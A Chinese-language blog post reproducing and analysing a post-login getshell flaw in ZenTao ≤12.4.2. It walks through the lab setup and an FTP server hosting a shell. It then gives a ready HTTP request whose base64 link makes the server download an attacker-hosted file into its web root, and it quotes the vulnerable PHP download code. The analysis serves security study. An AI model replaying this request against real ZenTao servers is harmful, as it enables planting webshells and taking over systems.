禅道≤12.4.2后台getshell漏洞复现分析
时间:2020-10-25 22:03 作者:admin 分类: 技术文章
简单的介绍下禅道:
禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。
首先搭建环境,安装禅道12.4.2,开源版下载:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html 。
我在Mac上使用的PHP环境集成软件是国人开发的名为 MxSrvs 的免费集成软件,集成了常见的 nginx+php+mysql+redis+tomcat+beanstalk 容器组件。
详细的介绍使用可以去官网看或者我改天再写一遍关于在Mac上搭建PHP环境加debug。
首先根据禅道官网的手册,可以知道需要pdo, pdo_mysql, json, filter, openssl, mbstring, zlib, curl, gd, iconv这几个模块,
我们看下 MxSrvs 的默认页面,可以看到全部都有的:
修改 PHP 的配置 session.save_path 不然会出现如下的提示:
接下来就是 nginx 的配置,一定要注意,配置 nginx 的伪静态,和 PHP 的 path_info 支持,
不然你测试的适合,访问的URL会是404,当然也可以使用参数&拼接一样:
贴下 nginx 的完整配置,其中的 PHP的监听端口,自己看 软件首页的 PHP 端口,肯定不一样,自行修改:
server { listen 80; server_name zentao.test; root /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/www; #access_log /Applications/MxSrvs/logs/zentao.test.log; #include vhosts/_nginx.vhost.fpm; location / { index index.php index.html index.htm; if (!-e $request_filename) { rewrite /(.*)$ /index.php/$1 last; break; } } location ~ \.php(.*)$ { fastcgi_pass 127.0.0.1:10080; fastcgi_index index.php; include fastcgi.conf; set $path_info ""; set $real_script_name $fastcgi_script_name; if ($fastcgi_script_name ~ "^(.+?\.php)(/.+)$") { set $real_script_name $1; set $path_info $2; } fastcgi_param SCRIPT_FILENAME $document_root$real_script_name; fastcgi_param SCRIPT_NAME $real_script_name; fastcgi_param PATH_INFO $path_info; } }
然后解压源码道网站根目录,访问zentao.test,开始安装。
如果没有设置好 session.save_path 安装完后首页是空白的,这时候修改 config/my.php 配置文件,打开 debug 模式,在刷新首页 出现提示:
22:18:33 ERROR: 您访问的域名 zentao.test 没有对应的公司。 in /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/module/common/model.php on line 69, last called by /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/module/common/model.php on line 27 through function setCompany. in /Applications/MxSrvs/www/zentao.test/ZenTaoPMS_12_4_2/framework/base/router.class.php on line 2228 when visiting
这是由于配置的 session.save_path 目录 PHP 没有读写权限导致
$ ls -l /tmp
lrwxr-xr-x@ 1 root admin 11 8 7 01:14 /tmp -> private/tmp
解决办法:
其一,要么修改 session.save_path 的配置目录,设置 777 任何人读写权限,或者在 config/config.php 顶部写入:
session_save_path(dirname(dirname(__FILE__)).'/tmp/');
修改 /config/my.php 将
$config->requestType = 'GET';
修改为
$config->requestType = 'PATH_INFO';
同时在 /www/index.php 首行加入:
$_SERVER['PATH_INFO'] = preg_replace('/index\.php$/', '', $_SERVER['PATH_INFO']);
即可,重启 PHP 进程后即可使用 http://zentao.test/user-login-Lw==.html 形式的为静态 URL 格式访问
然后再修改 config/my.php 将
$config->installed = true;
修改为:
$config->installed = false;
重新访问首页进行安装,安装的时候,勾选清空数据库。
即可进入到安装界面,进行重新安装。
安装后,使用admin管理员账号登录,
同时开一个 FTP 用于下载 shell:
python 创建 FTP 服务
安装 pyftpdlib 库
pip3 install pyftpdlib
开启 FTP 类似 http.server
python3 -m pyftpdlib -p 21 -d /path/to/shell
默认是使用 anonymous 密码为空 即客人模式,开启后可以自己测试
关于 pyftpdlib 的相关说明:https://pyftpdlib.readthedocs.io/en/latest/tutorial.html
下载禅道客户端,解压后加权限执行:
chmod +x ./xxd
参考官网教程,不同平台的执行方式
就可以来复现了,burp抓一个登录后的包,主要是需要cookie,使用如下post包即可在 /data/client/mrxn/目录写入info.php,内容为 phpinfo :
burp post 数据包:
GET /client-download-mrxn-ZnRwOi8vMTI3LjAuMC4xL2luZm8ucGhw.html HTTP/1.1 Host: zentao.test DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: zentaosid=7nj09hm3959e6t674p5uqmgjv8; lang=zh-cn; device=desktop; theme=default; lastProject=1; lastProduct=1; windowWidth=1917; windowHeight=1121 Connection: close
其中 mrxn 为版本号($version)可以自行设置成保存的目录名,ZnRwOi8vMTI3LjAuMC4xL2luZm8ucGhw 为 base64_encode 后的 下载地址,ftp://127.0.0.1/info.php 。
漏洞分析:
首先是 module/client/control.php的 download 函数:
/** * Download remote package. * @param string $version * @param string $link * @param string $os * @return string */ public function download($version = '', $link = '', $os = '') { set_time_limit(0); $result = $this->client->downloadZipPackage($version, $link); if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); $client = $this->client->edit($version, $result, $os); if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse'))); }
其直接将 version 和 link 以及 os 参数传入model ,没有任何过滤,交由 downloadZipPackage函数来下载,全局搜索 downloadZipPackage 可以找到三处,除了上面这一处,其余两处分别是在
module/client/model.php 第240行 和 module/client/ext/model/xuanxuan.php 第10行,
其中 xuanxuan.php 的 downloadZipPackage 函数 做了一个正则过滤,不允许 http或者https的下载链接,但是可以使用 FTP 协议绕过。
其中 model.php 的 downloadZipPackage 定义了下载储存,创建目录,保存路径,等操作,但是对于传入的 version 和 link 也没有任何过滤:
/** * Download zip package. * @param $version * @param $link * @return bool | string */ public function downloadZipPackage($version, $link) { ignore_user_abort(true); set_time_limit(0); if(empty($version) || empty($link)) return false; $dir = "data/client/" . $version . '/'; $link = helper::safe64Decode($link); $file = basename($link); if(!is_dir($this->app->wwwRoot . $dir)) { mkdir($this->app->wwwRoot . $dir, 0755, true); } if(!is_dir($this->app->wwwRoot . $dir)) return false; if(file_exists($this->app->wwwRoot . $dir . $file)) { return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; } ob_clean(); ob_end_flush(); $local = fopen($this->app->wwwRoot . $dir . $file, 'w'); $remote = fopen($link, 'rb'); if($remote === false) return false; while(!feof($remote)) { $buffer = fread($remote, 4096); fwrite($local, $buffer); } fclose($local); fclose($remote); return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; }
定义了文件保存的路径为 data/client/+version+/,link 由 helper类的safe64Decode 函数解码传入的link值,同样未做任何过滤。
其中helper 类的 safe64Decode 其实就是个base64解码:
整个调用顺序就是在 后台-客户端-更新这里触发,即 control -->ext model -->model
复现过程中需要注意的就是,对于传入的 base64链接,如果直接是在 终端
$ echo 'ftp://127.0.0.1/info.php'|base64 ZnRwOi8vMTI3LjAuMC4xL2luZm8ucGhwCg==
会出错,因为默认的 echo 没有 -n 参数会导致默认在行尾添加一个换行符,最终复现会出错,储存的文件名带有 问号,且内容为空:
为此我还在线找了许久的原因,测试才发现的:
因此 echo 加上 -n 参数 可以避免这种坑 !!!